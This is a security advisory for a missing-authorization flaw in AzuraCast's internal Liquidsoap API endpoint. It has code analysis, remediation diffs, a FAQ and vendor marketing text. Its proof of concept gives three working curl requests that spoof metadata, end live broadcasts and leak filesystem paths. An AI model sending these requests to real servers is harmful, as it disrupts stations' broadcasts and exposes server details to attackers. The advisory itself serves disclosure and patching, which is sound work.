Summary
The /api/internal/{station_id}/liquidsoap/{action} endpoint is accessible from the public web interface because it lacks the RequireInternalConnection middleware that protects other internal endpoints (/sftp-auth, /sftp-event). Combined with a logic flaw where the $asAutoDj flag is set based on the presence of the X-Liquidsoap-Api-Key header rather than its validated value, any user with the basic View station permission can invoke privileged Liquidsoap commands, injecting arbitrary now-playing metadata visible to all listeners, disrupting live broadcast tracking, and disclosing absolute filesystem paths.
Details
Issue 1: Missing RequireInternalConnection middleware
In backend/config/routes/api_internal.php, the liquidsoap route group (lines 17-21) lacks the RequireInternalConnection middleware:
// Lines 17-21, NO RequireInternalConnection
$group->map(
['GET', 'POST'],
'/liquidsoap/{action}',
Controller\Api\Internal\LiquidsoapAction::class
)->setName('api:internal:liquidsoap');
Compare with sftp endpoints that correctly apply it:
// Lines 32-34, HAS RequireInternalConnection
$group->post('/sftp-auth', Controller\Api\Internal\SftpAuthAction::class)
->setName('api:internal:sftp-auth')
->add(Middleware\RequireInternalConnection::class);
The nginx config (util/docker/web/nginx/azuracast.conf.tmpl) only sets the IS_INTERNAL FastCGI parameter on the internal port 6010 listener (line 44), not on the public-facing server block (ports 80/443). Without the middleware, the endpoint is fully accessible from the public internet.
Issue 2: $asAutoDj derived from header presence, not validated value
In backend/src/Controller/Api/Internal/LiquidsoapAction.php:
// Line 34, checks header PRESENCE, not value
$asAutoDj = $request->hasHeader('X-Liquidsoap-Api-Key');
// Lines 38-44, key value only checked when ACL FAILS
$acl = $request->getAcl();
if (!$acl->isAllowed(StationPermissions::View, $station->id)) {
$authKey = $request->getHeaderLine('X-Liquidsoap-Api-Key');
if (!$station->validateAdapterApiKey($authKey)) {
throw new RuntimeException('Invalid API key.');
}
}
When a user authenticates via session/API key and has StationPermissions::View, the ACL check passes and the adapter API key is never validated. But $asAutoDj is already true from line 34 because the header is present (with any arbitrary value).
Affected commands:
FeedbackCommand(backend/src/Radio/Backend/Liquidsoap/Command/FeedbackCommand.php:36): Guardif (!$asAutoDj) return false;bypassed, creates SongHistory records and forces NowPlaying cache updatesDjOffCommand(backend/src/Radio/Backend/Liquidsoap/Command/DjOffCommand.php:24): Guard bypassed, calls$this->streamerRepo->onDisconnect($station)which ends all active broadcasts and sets$station->is_streamer_live = falseDjOnCommand(backend/src/Radio/Backend/Liquidsoap/Command/DjOnCommand.php:31): Guard bypassed, calls$this->streamerRepo->onConnect($station, $user)with attacker-controlled usernameCopyCommand(backend/src/Radio/Backend/Liquidsoap/Command/CopyCommand.php:18): No$asAutoDjguard at all, returns absolute filesystem paths via$mediaFs->getLocalPath($uri)
PoC
Prerequisites: A user account with StationPermissions::View on station ID 1 (the lowest station-level permission). Obtain a session cookie or API key for this user.
1. Inject arbitrary now-playing metadata (FeedbackCommand):
curl -X POST 'https://target/api/internal/1/liquidsoap/feedback' \
-H 'X-API-Key: <view-user-api-key>' \
-H 'X-Liquidsoap-Api-Key: anything' \
-H 'Content-Type: application/json' \
-d '{"artist": "INJECTED", "title": "Fake Song Title"}'
Expected: Should reject, user does not have the adapter API key.
Actual: Returns true. The injected artist/title appears in /api/nowplaying/1 for all listeners.
2. Disrupt live broadcast (DjOffCommand):
curl -X POST 'https://target/api/internal/1/liquidsoap/djoff' \
-H 'X-API-Key: <view-user-api-key>' \
-H 'X-Liquidsoap-Api-Key: anything'
Expected: Should reject.
Actual: Returns true. All active broadcast records for the station are terminated (timestampEnd set), is_streamer_live set to false, and current_streamer cleared.
3. Disclose filesystem paths (CopyCommand):
curl -X POST 'https://target/api/internal/1/liquidsoap/cp' \
-H 'X-API-Key: <view-user-api-key>' \
-H 'Content-Type: application/json' \
-d '{"uri": "test.mp3"}'
Expected: Should reject, this is an internal-only endpoint.
Actual: Returns {"uri":"/var/azuracast/stations/1/media/test.mp3","isTemp":false}, disclosing the absolute filesystem path of the station's media storage.
Impact
Any user with the basic StationPermissions::View permission (the lowest station-level role, commonly assigned to DJs and collaborators) can:
Inject arbitrary now-playing metadata visible to all listeners via the public NowPlaying API and any connected players/widgets. This poisons the song history database and triggers cache updates that propagate the false data to all consumers.
Disrupt live broadcasts by terminating all active broadcast records and marking the station as having no live streamer, even when a DJ is actively broadcasting. This affects broadcast recording and live-DJ tracking.
Fake DJ connections with arbitrary usernames via the
djoncommand, polluting streamer logs and potentially interfering with DJ scheduling.Disclose absolute filesystem paths of the station's media storage directory via the
cpcommand (no$asAutoDjguard required), which aids further attacks against the server.
The application does not perform an authorization check before performing a sensitive operation. Typical impact: unauthorized access to restricted functionality or data.
GHSA-4FM3-GGG2-C6QX has a CVSS score of 6.3 (Medium). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.23.6); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
Fix 1: Add RequireInternalConnection middleware to the liquidsoap route group.
In backend/config/routes/api_internal.php, add the middleware to the station group:
$group->group(
'/{station_id}',
function (RouteCollectorProxy $group) {
$group->map(
['GET', 'POST'],
'/liquidsoap/{action}',
Controller\Api\Internal\LiquidsoapAction::class
)->setName('api:internal:liquidsoap')
+ ->add(Middleware\RequireInternalConnection::class);
// Icecast internal auth functions
$group->map(
['GET', 'POST'],
'/listener-auth[/{api_auth}]',
Controller\Api\Internal\ListenerAuthAction::class
)->setName('api:internal:listener-auth');
}
)->add(Middleware\GetStation::class);
Fix 2: Validate the API key value before setting $asAutoDj.
In backend/src/Controller/Api/Internal/LiquidsoapAction.php, move $asAutoDj assignment after key validation:
- $asAutoDj = $request->hasHeader('X-Liquidsoap-Api-Key');
+ $asAutoDj = false;
try {
$acl = $request->getAcl();
if (!$acl->isAllowed(StationPermissions::View, $station->id)) {
$authKey = $request->getHeaderLine('X-Liquidsoap-Api-Key');
if (!$station->validateAdapterApiKey($authKey)) {
throw new RuntimeException('Invalid API key.');
}
+ $asAutoDj = true;
+ } else {
+ // Even ACL-authenticated users must provide valid adapter key for AutoDJ operations
+ $authKey = $request->getHeaderLine('X-Liquidsoap-Api-Key');
+ $asAutoDj = !empty($authKey) && $station->validateAdapterApiKey($authKey);
}
Both fixes should be applied. Fix 1 is the primary defense (defense in depth, this endpoint should never be publicly accessible). Fix 2 corrects the logic flaw so that $asAutoDj is only true when the adapter API key is actually valid, regardless of how authentication was performed.
Frequently Asked Questions
- What is GHSA-4FM3-GGG2-C6QX? GHSA-4FM3-GGG2-C6QX is a medium-severity missing authorization vulnerability in azuracast/azuracast (composer), affecting versions <= 0.23.5. It is fixed in 0.23.6. The application does not perform an authorization check before performing a sensitive operation.
- How severe is GHSA-4FM3-GGG2-C6QX? GHSA-4FM3-GGG2-C6QX has a CVSS score of 6.3 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of azuracast/azuracast are affected by GHSA-4FM3-GGG2-C6QX? azuracast/azuracast (composer) versions <= 0.23.5 is affected.
- Is there a fix for GHSA-4FM3-GGG2-C6QX? Yes. GHSA-4FM3-GGG2-C6QX is fixed in 0.23.6. Upgrade to this version or later.
- Is GHSA-4FM3-GGG2-C6QX exploitable, and should I be worried? Whether GHSA-4FM3-GGG2-C6QX is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether GHSA-4FM3-GGG2-C6QX is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix GHSA-4FM3-GGG2-C6QX? Upgrade
azuracast/azuracastto 0.23.6 or later.